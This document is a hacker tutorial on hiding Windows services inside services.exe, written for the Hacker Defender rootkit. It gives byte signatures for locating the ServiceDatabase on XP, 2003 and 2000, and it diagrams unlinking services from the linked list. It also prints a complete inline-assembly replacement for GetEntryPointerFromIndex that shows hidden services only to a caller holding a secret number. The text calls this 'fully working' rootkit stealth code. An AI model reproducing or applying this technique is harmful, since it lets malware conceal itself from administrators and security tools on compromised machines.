hooking the service manger with hacker defender
********************************
Intro
The idea of this method for hiding windows services directly from within
the service manager came to me after I coded a hidden services detector
and I realized that is was really easy to trick many user-mode rootkit...
So I started to search for infos about the service manager, and I found a
really good paper (and I found nothing else, ever) explaining very few thing,
but the article put me on the right track. So I started to reverse the service
manager and I found an interesting structure (name it the ServiceDatabase)
containing all services running on a computer. I knew that it was this
structure that I will have to patch. The first problem I had was to find
these structure with no hardcoded addresses on all NT-based OS. This problem
was really easy to solve, a simple search for a pattern of byte (one for XP
and one for win2k) did the thing. Then another problem: it is easy to remove
a services from the ServiceDatabase but what happen if we want to stop or remove
this service ? We can't control it anymore, it's just like if the service has
never existed.
I had two choices. First, make a new set of functions to mimic the service
manager do to be able to control the hidden services. But this would imply
that no standard command like net start/net stop would ever work, and that
sucks. The second possibility is to find a way to tell to the service manager
that the request for controling a hidden service is authorized. The second
sounds better.
********************************
The client-side services display:
To let the service manager know that we have the right to display the
hidden services, we will have call EnumServicesStatus with a dwServiceState
parameter to wich you will add a number (we'll call it dwNumber, heh)
We will then check, on the server-side, if the dwServiceState parameter
equal dwNumber+SERVICE_ACTIVE, dwNumber+SERVICE_INACTIVE or
dwNumber+SERVICE_STATE_ALL. If it is, we'll substract dwNumber to get
the real dwServiceState.
You may have noticed that you will need a home-made program to display the
hidden services to wich you will be able to supply the correct dwNumber
********************************
The server-side hooking:
The hooking process will be this :
1. locate all needed pieces of code, to be sure we're doing the good thing
2. change the linking order of the ServiceDatabase to hide our services
3. place hooks at some strategic points
-------
1. Locate needed information
-------
We will first need to locate some information about where we will install
our hooks, and this before doing any modification in the memory of
services.exe just to don't crash the whole thing. We will basicly search
for the ServiceDatabase and then search for the hooking points, I will
give more details in the two next sections
-------
2. Modify the ServiceDatabse
-------
The ServiceDatabase is a double-linked list that contain informations
about all services running on a computer. It is located in the memory
of services.exe (duh) and it is built at boot time based on keys
in HKLM\SYSTEM\CurrentControlSet\Services. Just after building the
database, services.exe start all service with their Startup Type set to
Automatic. This is why a rootkit can be detected even if it hide keys
from the registry; a clean copy of the HKLM\[...]\Services key exist
somewhere in the memory of services.exe :)
The ServiceDatabase is relatively easy to find, depending on the version
of services.exe. ImageVersion refers to the field of the same name in
the PE header. The search base is the 'base of code' address (usually
01001000h) plus the size of the 'import address table' (usually ~400h
bytes) wich can also be found in the PE header. Please note that I am
debugging services.exe on my XP box, and addresses and size may differ
on win2k.
If ImageVersion = 5.1 or 5.2 (WinXP, Win2k3) :
Search in the first 200h bytes for the sequence of byte 56 8B 35
(56 = PUSH ESI, 8B 35 xx xx xx xx = MOV ESI, DWORD PTR DS:[ServiceDatabase])
If ImageVersion = 5.0 (Win2k) :
Search in the first 4000h bytes for 73 45 72 76 (sErv) (will be found after
~2C00h bytes). Then search in the next 200h bytes for 8B 0D xx xx xx xx
(MOV ECX, DWORD PTR DS:[ServiceDatabase])
At this point, we are ready to patch the ServiceDatabase and remove our
hidden services. In the next example we want to hide the service B and D.
This is basicly what we will do :
* Flink = Forward link, point to the next structure
* Blink = Backwad link, point to the previous structure
-> The original service chain
ServiceDatabase pointer
|
`-> _____ Flink _____ _____ _____ _____ _____
| svc | -----> | svc | -----> | svc | -----> | svc | -----> | svc | -----> | svc |
| A | <----- | B | <----- | C | <----- | D | <----- | E | <----- | ... |
|_____| Blink |_____| |_____| |_____| |_____| |_____|
-> We will unlink the svc B by linking the service A and C together
ServiceDatabase pointer
| .--------------. .--------------.
| | .----------. | | .----------. |
`-> _____ | | _____ | | _____ | | _____ | | _____ _____
| svc | --` | | svc | | `--> | svc | --` | | svc | | `--> | svc | -----> | svc |
| A | <---` | B | `----- | C | <---` | D | `----- | E | <----- | ... |
|_____| |_____| |_____| |_____| |_____| |_____|
-> Then we will link the service D to the service B and the service B to
the start of the list
ServiceDatabase pointer
| .--------------. .--------------.
| | .----------. | | .----------. |
`-> _____ | | _____ | | _____ | | _____ | | _____ _____
Flink | svc | --` | | svc | | `--> | svc | --` | | svc | | `--> | svc | -----> | svc |
.---> | A | <---` | B | `----- | C | <---` | D | `----- | E | <----- | ... |
| |_____| |_____| |_____| |_____| |_____| |_____|
| | ^ | ^ |
| | | `-------------------------` |
`----------------------` `-----------------------------`
This new linking is the whole thing in the hooking process. If this is
done correctly, at least the services are hidden from any request for
enumerating services and for opening a services with OpenService().
Then what if we want to display these hidden services ? We will simply
put a hook at a strategic point (see the next section) and if the program
trying to enumerate the services is authorized to do so, we won't start the
enumeration from the service pointed by ServiceDatabase, but (in the example)
from the service D in our case. **NOTE** that there is no Backward link from
the service B to the servide A, in order to don't be able to see the hidden
services by listing the list in the reverse order...
-------
3. Hooking the code
-------
We'll start by searching for the sequence of bytes C0 FE FF FF in the first 6000h bytes
the lines on wich we will end up will look like this:
TEST DWORD PTR SS:[EBP+C],FFFFFEC0
JNZ SHORT error_87
TEST BYTE PTR SS:[EBP+10],3 <------- check for the validity of dwServiceState
JE SHORT error_87 <------- we will backup the address pointed by this jump
TEST DWORD PTR SS:[EBP+10],FFFFFFFC for our own usage in our hooked function
JNZ SHORT error_87
To don't get trashed when we will supply our invalid dwServiceState, we
will NOP the four last lines and check the validity by ourself later with
our hooked function. To find where we'll place this hook, we'll search
in the next 100 bytes for 85 C0 wich correspond to :
LEA EAX,DWORD PTR SS:[EBP+8]
PUSH EAX
PUSH DWORD PTR SS:[EBP-C]
CALL GetEntryPointerFromIndex <------ here we hook !
TEST EAX,EAX <------ 85 C0
JE not_found
then you just have to replace the GetEntryPointerFromIndex CALL for
our own home-made function. What is the original function doing ? It
find where to start the copying process from the memory of services.exe
to the user-supplied buffer, according to the ResumeHandle parameter
passed to EnumServicesStatus. What will the replacement function do ?
Lets see :
First we'll have to check if the dwServiceState come from a 'typical' call
to EnumServicesStatus. If it is, (will be between 1 and 3; see declaration
of SERVICE_[ACTIVE/INACTIVE/STATE_ALL]) we will mimic the original
GetEntryPointerFromIndex function and do nothing more. If the dwServiceState
parameter is equal to dwNumber + 1, + 2 or + 3 then we'll know that it's a
request for showing hidden services, and we'll start to do the job of
GetEntryPointerFromIndex but we'll do it from the base of our hidden services
list. If dwServiceState does not correspond to any of these two case, we'll
return the error 87 (remember the dwServiceState validity check we've nopped)
okey then we have a plan of action, have a look at the hooking code I made.
the original function definition looks like this :
BOOL GetEntryPointerFromIndex (int index, LPDWORD entry);
When we will have our function called instead of the original one, the stack
will look like this :
ebp+10h = the dwServiceState parameter passed to EnumServicesStatus
esp+8h = the ResumeHandle parameter passed to EnumServicesStatus
wich is actually the index in the ServiceDatabase table
esp+Ch = the buffer in wich we will copy the address of the correct entry
First of all we'll backup the address of ebp+10h to be able to replace
the dwServiceState if the need is. Then we'll check if the dwServiceState
is invalid or not, and choose what we must do.
Below is a fully working function, I think it can be better but it do the job
See the code sample and you will understand everything ;)
//the CALL we replace must point 16 bytes after the real function address
//before copying the function inside services.exe, you must fill the four
//dword that the function need to work:
//dwNumber = the same number that you will provide to EnumServicesStatus
// to display the hidden services
//dwHiddenStart = the address of the first service in the hidden service chain
//dwSvDb = address of ServiceDatabase
//dwError87 = the absolute address of the jump we nopped (see above)
BOOL __declspec(naked) NewGetEntryPointerFromIndex(int index, LPDWORD entry) {
__asm {
dwNumber:
_emit 0 //;room for a copy of dwNumber
_emit 0
_emit 0
_emit 0
dwHiddenStart:
_emit 0 //;room for the address of the hidden services chain
_emit 0
_emit 0
_emit 0
dwSvDb:
_emit 0 //;room for a copy of the ServiceDatabase
_emit 0
_emit 0
_emit 0
dwError87:
_emit 0 //;room for the address of the error 87 code
_emit 0
_emit 0
_emit 0
call start
start:
pop edx //; pop the address of where we are
sub edx, 16+5
pop esi //; pop the ret address
lea eax, [ebp+010h] //; copy the address of the dwServiceState parameter
push ebp
mov ebp, esp
sub esp, 008h
/*
-008 DWROD ret address
-004 LPDWORD dwServiceState
+004 int index
+008 LPDWORD entry
*/
mov [ebp-004h], eax
mov [ebp-008h], esi
//; check if we got all we need
cmp dword ptr [edx], 0 //;dwNumber
jz display_normal
cmp dword ptr [edx+4], 0 //;dwHiddenStart
jz display_normal
cmp dword ptr [edx+8], 0 //;dwSvDb
jz bad_ret
cmp dword ptr [edx+12], 0 //;dwError87
jz bad_ret
//; check the dwServiceState
mov esi, [ebp-004h]
mov esi, [esi]
//; is it a request for hidden svc ?
mov eax, dword ptr [edx] //;dwNumber
lea eax, [eax+1]
cmp esi, eax
jz display_hidden
mov eax, dword ptr [edx] //;dwNumber
lea eax, [eax+2]
cmp esi, eax
jz display_hidden
mov eax, dword ptr [edx] //;dwNumber
lea eax, [eax+3]
cmp esi, eax
jz display_hidden
//; is it an invalid request ?
mov esi, [ebp-004h]
test byte ptr [esi],3
je go_original_err87
test dword ptr [esi], 0FFFFFFFCh
jnz go_original_err87
//; heh, just another normal request I guess
jmp display_normal
//; process the request
display_hidden:
mov esi, [ebp-004h]
mov eax, dword ptr [edx] //;dwNumber
sub [esi], eax //;substract dwNumber to dwServiceState
lea eax, dword ptr [edx+4] //;dwHiddenStart
jmp display_tail
display_normal:
mov eax, dword ptr [edx+8] //;dwSvDb
//mov eax, [eax]
//jmp display_tail
display_tail:
mov eax, [eax]
loop_next_svc_entry:
test eax, eax
jz short bad_ret //; got the end of the chain ?
mov ecx, [eax+010h] //; index field
cmp ecx, [ebp+004h] //; needed index
ja short got_ptr
mov eax, [eax+004h] //; take the next entry
jmp short loop_next_svc_entry
got_ptr:
mov ecx, [ebp+008h]
mov [ecx], eax
good_ret:
mov eax, 001h
jmp go_ret
bad_ret:
xor eax, eax
go_ret:
mov esi, [ebp-008h]
leave
add esp, 008h //;ret 008
jmp esi
go_original_err87:
leave //;free the stack
mov eax, dword ptr [edx+12] //;dwError87
add esp, 008h //;ret 008
jmp eax
}
}
}
// EOF
I think I said everything, now you can look at the sources I included :)